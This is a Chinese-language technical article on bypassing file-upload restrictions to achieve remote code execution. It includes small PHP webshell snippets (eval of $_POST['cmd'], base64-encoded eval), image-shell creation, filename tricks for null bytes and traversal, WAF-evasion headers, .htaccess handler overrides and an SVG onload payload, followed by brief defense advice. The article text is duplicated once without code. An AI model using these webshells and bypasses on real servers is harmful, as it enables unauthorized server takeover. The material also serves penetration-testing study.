【真“免”杀】RCE视角下的文件上传BYPASS利用思路
字数 1386 2025-08-18 17:33:36

【真“免”杀】RCE视角下的文件上传BYPASS利用思路

1. 文件上传漏洞基础

文件上传漏洞是Web应用中常见的安全问题,攻击者通过上传恶意文件获取服务器控制权。从RCE(远程代码执行)视角来看,文件上传漏洞的利用需要考虑以下几个关键点:

  • 文件类型检测绕过
  • 内容检测绕过
  • 上传路径控制
  • 执行条件满足

2. 文件类型检测绕过技术

2.1 扩展名欺骗

  1. 双扩展名绕过:如shell.php.jpg
  2. 大小写混淆:如shell.PhP
  3. 空字节截断:如shell.php%00.jpg
  4. 特殊字符插入:如shell.php;.jpgshell.php:.jpg

2.2 MIME类型欺骗

修改HTTP请求中的Content-Type头:

Content-Type: image/jpeg

2.3 文件头伪造

在恶意文件开头添加图片文件头:

  • JPEG: FF D8 FF E0
  • PNG: 89 50 4E 47
  • GIF: 47 49 46 38

3. 内容检测绕过技术

3.1 代码混淆技术

  1. 注释插入
<?php /*恶意代码*/ ?>
  1. 字符串拼接
<?php $a="eva"."l"; $a($_POST['cmd']); ?>
  1. 编码转换
<?php eval(base64_decode("cGhwaW5mbygpOw==")); ?>

3.2 图片马制作

  1. 使用copy命令合并
copy /b normal.jpg + shell.php webshell.jpg
  1. 使用GIF动画头
GIF89a<?php phpinfo(); ?>

4. 上传路径控制技巧

  1. 目录遍历
filename="../../../shell.php"
  1. 利用解析差异
  • IIS: shell.asp;.jpg
  • Apache: shell.php%00.jpg
  1. 临时文件利用
    通过上传大文件触发临时文件机制,结合竞争条件利用

5. 执行条件满足

5.1 解析漏洞利用

  1. IIS6.0解析漏洞
  • /test.asp/test.jpg
  • test.asp;.jpg
  1. Apache解析漏洞
  • test.php.xxx (当xxx不在mime.types中)
  1. Nginx解析漏洞
  • 错误配置导致test.jpg被当作php执行

5.2 文件包含配合

  1. 本地文件包含(LFI)
include($_GET['file']);
  1. 远程文件包含(RFI)
include($_GET['file']);

(需allow_url_include=On)

6. 自动保存实现方法

根据评论区big_boy的问题,在Windows环境下实现自动保存的方法:

  1. 使用HTTP头强制下载
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="downloaded.php"');
readfile('malicious.php');
  1. 利用JavaScript自动触发下载
<script>
function download() {
    var link = document.createElement('a');
    link.href = 'malicious.php';
    link.download = 'downloaded.php';
    link.click();
}
window.onload = download;
</script>
  1. 针对txt文件显示问题的解决
  • 修改Content-Type为application/octet-stream
  • 或使用上述JavaScript方法强制下载而非显示

7. 高级绕过技术

7.1 WAF绕过技巧

  1. 分块传输编码
Transfer-Encoding: chunked
  1. 畸形HTTP请求
  • 畸形的Content-Length
  • 畸形的Header名称
  1. 注释干扰
POST /upload.php HTTP/1.1
X-Comment: */?><?php /*

7.2 条件竞争利用

  1. 快速多次上传同一文件
  2. 结合文件包含漏洞在文件被删除前访问

8. 防御建议

  1. 文件扩展名白名单验证
  2. 文件内容检测(魔术字节+二次渲染)
  3. 上传目录设置为不可执行
  4. 随机化上传文件名和路径
  5. 文件服务器隔离
  6. 设置文件大小限制

9. 测试工具推荐

  1. Burp Suite - 拦截修改上传请求
  2. OWASP ZAP - 自动化测试
  3. Upload Scanner - 专用上传漏洞扫描器
  4. 自定义Python脚本 - 针对特定场景

10. 实战案例

  1. 通过.htaccess覆盖实现解析规则修改:
AddType application/x-httpd-php .jpg
  1. 利用SVG文件执行XSS和RCE:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
  1. 利用Office文件宏执行命令

通过以上技术组合,可以实现高度隐蔽的文件上传RCE攻击,绕过大多数安全检测机制。

【真“免”杀】RCE视角下的文件上传BYPASS利用思路 1. 文件上传漏洞基础 文件上传漏洞是Web应用中常见的安全问题,攻击者通过上传恶意文件获取服务器控制权。从RCE(远程代码执行)视角来看,文件上传漏洞的利用需要考虑以下几个关键点: 文件类型检测绕过 内容检测绕过 上传路径控制 执行条件满足 2. 文件类型检测绕过技术 2.1 扩展名欺骗 双扩展名绕过 :如 shell.php.jpg 大小写混淆 :如 shell.PhP 空字节截断 :如 shell.php%00.jpg 特殊字符插入 :如 shell.php;.jpg 或 shell.php:.jpg 2.2 MIME类型欺骗 修改HTTP请求中的 Content-Type 头: 2.3 文件头伪造 在恶意文件开头添加图片文件头: JPEG: FF D8 FF E0 PNG: 89 50 4E 47 GIF: 47 49 46 38 3. 内容检测绕过技术 3.1 代码混淆技术 注释插入 : 字符串拼接 : 编码转换 : 3.2 图片马制作 使用copy命令合并 : 使用GIF动画头 : 4. 上传路径控制技巧 目录遍历 : 利用解析差异 : IIS: shell.asp;.jpg Apache: shell.php%00.jpg 临时文件利用 : 通过上传大文件触发临时文件机制,结合竞争条件利用 5. 执行条件满足 5.1 解析漏洞利用 IIS6.0解析漏洞 : /test.asp/test.jpg test.asp;.jpg Apache解析漏洞 : test.php.xxx (当xxx不在mime.types中) Nginx解析漏洞 : 错误配置导致 test.jpg 被当作php执行 5.2 文件包含配合 本地文件包含(LFI) : 远程文件包含(RFI) : (需 allow_url_include=On ) 6. 自动保存实现方法 根据评论区 big_boy 的问题,在Windows环境下实现自动保存的方法: 使用HTTP头强制下载 : 利用JavaScript自动触发下载 : 针对txt文件显示问题的解决 : 修改Content-Type为 application/octet-stream 或使用上述JavaScript方法强制下载而非显示 7. 高级绕过技术 7.1 WAF绕过技巧 分块传输编码 : 畸形HTTP请求 : 畸形的Content-Length 畸形的Header名称 注释干扰 : 7.2 条件竞争利用 快速多次上传同一文件 结合文件包含漏洞在文件被删除前访问 8. 防御建议 文件扩展名白名单验证 文件内容检测(魔术字节+二次渲染) 上传目录设置为不可执行 随机化上传文件名和路径 文件服务器隔离 设置文件大小限制 9. 测试工具推荐 Burp Suite - 拦截修改上传请求 OWASP ZAP - 自动化测试 Upload Scanner - 专用上传漏洞扫描器 自定义Python脚本 - 针对特定场景 10. 实战案例 通过 .htaccess 覆盖实现解析规则修改: 利用SVG文件执行XSS和RCE: 利用Office文件宏执行命令 通过以上技术组合,可以实现高度隐蔽的文件上传RCE攻击,绕过大多数安全检测机制。